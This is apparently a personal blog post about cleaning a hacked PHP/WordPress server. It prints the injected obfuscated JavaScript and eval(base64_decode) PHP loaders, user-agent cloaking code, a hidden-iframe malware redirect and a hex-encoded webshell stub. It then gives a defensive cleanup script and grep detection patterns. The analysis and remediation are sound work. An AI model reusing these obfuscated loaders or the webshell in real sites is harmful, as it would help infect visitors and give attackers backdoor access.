Fixing an Infected PHP/WordPress Web Server

17 Apr

Fixing an infected WordPress server. Darn if the ISP serving up our PHP and WordPress content wasn’t attacked with an exploit. So I did a lot of learning as I cleaned up my web server, this past weekend. The goal of this exploit was to infect visitors of the web site with viruses by coercing visitors’ browsers to download malware from predefined third-party sites, seeded with the malware. That means modifying web site code to send visitors to those malicious sites.

After noticing some strange behavior that tripped my anti-virus software on my Windows machine, I realized (using the browser’s “view source” function) that there was some unexpected JavaScript at the top of every page’s source:

[sourcecode language=”htmlscript” light=”true”]
<script type="text/javascript">// <![CDATA[
d=Date;d=new d();h=-parseInt(‘012′)/5;if(window.document)try{Boolean(true).prototype.a}catch(<span class="hiddenSpellError" pre="">qqq</span>){st=String;zz=’al’;zz=’zv’.substr(1)+zz;ss=[];if(1){f=’fromCh’;f+=’arC’;f+=’qgode'["substr"](2);}w=this;e=w[f.substr(11)+zz];t=’y’;}n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5"["split"]("a!".substr(1));for(i=4-1-2-1;i!=599;i++){j=i;if(st)ss=ss+st[f](-h*(1+1*n[j]));}if(zz)q=ss;if(t)e(""+q);
// ]]></script>

Hunting for the Culprit(s)

Since the root of one of the sites is managed by our WordPress installation, I searched the site’s files for the errant code. It wasn’t found, so I had to dig deeper. I found that every index.php file across my account had a line of odd PHP code inserted at the beginning. (I no longer have the exact code because I wrote a script to clean up all those files and didn’t think to save an example). I’m not 100% positive how these files got modified (a little about that, later), but the gist of the exploit works like this:

  1. The first line of every index.php file contains something like the following:

    [sourcecode language=”php” light=”true”]
    <?php eval(base64_decode(‘…’));?>

    The “…” is a very long sequence of characters—passed to the base64_decode() function.

  2. The encoded text decodes as following PHP code:

    [sourcecode language=”php” light=”true”]
    $bot = FALSE ;
    $ua = $_SERVER[‘HTTP_USER_AGENT’];
    $botsUA = array(‘12345′,’’,’’,’’,’’,’bot’,’’,’crawl’,’docomo’,’’,’feedtools’,’htmldoc’,’httpclient’,’’,’linux’,’macintosh’,’mac os’,’magent’,’’,’mybloglog api’,’netcraft’,’’,’opera mini’,’opera mobi’,’playstation’,’’,’psp’,’rrrrrrrrr’,’rssreader’,’slurp’,’snoopy’,’spider’,’spyder’,’szn-image-resizer’,’validator’,’virus’,’vlc media player’,’webcollage’,’wordpress’,’x11′,’yandex’,’iphone’,’android’,’chrome’);
    foreach ($botsUA as $bs) {
    if(strpos(strtolower($ua), $bs)!== false) {
    $bot = true; break;
    if (!$bot) {

    If the “browser” is not a bot, scanner, mobile device, not from OS X, etc., then the “…” data is decoded and ins inserted into the page content sent to the browse—for the most part, this is primarily targeted at Windows machines running Firefox or Internet Explorer.

  3. The code inserted into the beginning of the output is a <script> tag of JavaScript code, shown at the beginning of this article. This obfuscated code is functionally the same as:

    [sourcecode language=”js” light=”true”]
    n="3.5!3.5!51.5!50!15!19!49! … 19!50!19.5!28.5!5.5!3.5!3.5!61.5".split("!");
    for(i=0; i != n.length; i++) {
    ss=ss + String.fromCharCode(2*(1+1*n[j]));

  4. The client (browser) interprets the JavaScript which decodes and evaluates more JavaScript. This code creates a iframe, if there is a body tag, which auto-refreshes a link to web address; presumably, to download malicious code to the user’s Windows machine. The “…” below is a reference to one of many malware sites.

    [sourcecode language=”js” light=”true”]
    if (document.getElementsByTagName(‘body’)[0])
    } else {
    function iframer()
    var f = document.createElement(‘iframe’);
    f.setAttribute(‘src’,’http:// … /?go=2′);’hidden’;’absolute’;’0′;’0′;

Hunting for the Attacker

That’s how this exploit works, but how did that code get onto the servers?

All the millions Windows machines share the same hardware and operating system definitions; so virus attacks can be written in tiny, unreadable, efficient binary executables. But in order to build an attack that’ll work against the widest variety of web servers (whether Windows, OS X, Solaris, Linux or Unix variants, or other hardware or operating system platform), they need to be in a text form that can be interpreted across a wide variety of web servers. PHP is the most popular web server technology on the planet (Facebook is running, largely, on PHP), so writing exploits against PHP web servers covers a broad swath of the internet.

With the help of my ISP, we eventually located some suspicious files that provided backdoor access to the web server’s file system and allowed an attacker to execute commands on the server without direct access, as I have.

We found several oldlib.php files and a courses.php that implement the “Backdoor PHP/WebShell.A” exploit—they can have any name. The key is that these files must be accessible via web URL so that the attacker can gain access to the web server with full access.

[sourcecode language=”php” light=”true”]
<!–?php $auth_pass = " … "; $color = "#<span class="hiddenSpellError" pre="color "–>df5"; $default_action = ‘FilesMan’; $default_use_ajax = true; $default_charset = ‘Windows-1251’; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’7X1re9s2z/D … 13SwzDxAYT72vwA=’\x29\x29\x29\x3B",".");?>

The last line resolves to a more readable:

[sourcecode language=”php” light=”true”]
preg_replace("/.*/e","eval(gzinflate(base64_decode(‘7X1re9s2z/Dn9Vcwmjf … 13SwzDxAYT72vwA=’)));",".");

This statement expands out to a 63KB of PHP code which provides a backdoor user-interface to the web server, a Trojan known as Backdoor PHP/Shell.G!  Access to this file by an attacker can wreak whatever havoc they wish; such as infecting all the index.php files with the code above.

But that malware may not have infected my index.php files. I also found several identical unencrypted PHP files that are identified as Backdoor PHP/RST.AC. Their file-names begin with “wp-” so I am guessing that this is a specific WordPress attack. These files simply needed to be deleted.

The Fix

To fix the infected (mostly index.php) files, I simply needed search for eval(base64_decode( on the first line of every file. I’ve written the following Bash shell-script, called “fix” to do this:

[sourcecode language=”shell” light=”true”]
for file in "$@"; do
echo — Trying `wc -l $file`
if grep -n ‘eval(base64_decode(‘ $file | grep ‘\^1:’; then
cp -p $file $file.virus
tail -n+2 $file.virus>$file
echo Fixed `wc -l $file`
echo !!! Cannot fix $file

You can run it by executing:

[sourcecode language=”shell” light=”true”]
fix `grep -lr –exclude-dir=~/logs ‘eval(base64_decode(‘ *`

The grep command searches files for code that evaluates encoded data—a clear indication that the code is trying to hide its true intent. The script backs up the infected file, suffixing its name with “.virus” and deletes the offending code from the first line. When, when you are satisfied that the fixes didn’t break anything, you can delete the backed-up infected files:

[sourcecode language=”shell” light=”true”]
rm `find . -name ‘*.virus’`

Also look for files implementing the PHP/WebShell.A exploit (and perhaps others) that try to hide the “eval(” call by encoding its text in the form of hex characters.

[sourcecode language=”shell” light=”true”]
grep -lr ‘\x65\x76\x61\x6C\x28’

Check out How to find backdoor PHP shell scripts on a server for more tips on how to suss out other exploits.

Securing PHP Web Servers

I have a lot to learn about how to secure the server from future backdoors from being installed. I don’t know if this is 100% preventable when I rely on such versatile applications as WordPress running on it, but two tips you might keep in mind:

  1. Make sure installed software (e.g., WordPress) is up to date as well as any plugins, themes, and other customizations.
  2. Make sure that any code you have does not allow global writable permissions (this is what allows easy dropping of files and file modifications to a web-server’s file-system). To scan for writable files and directories, try
    find ~ -perm -002


Enhanced by Zemanta

Tags: , , , , , , ,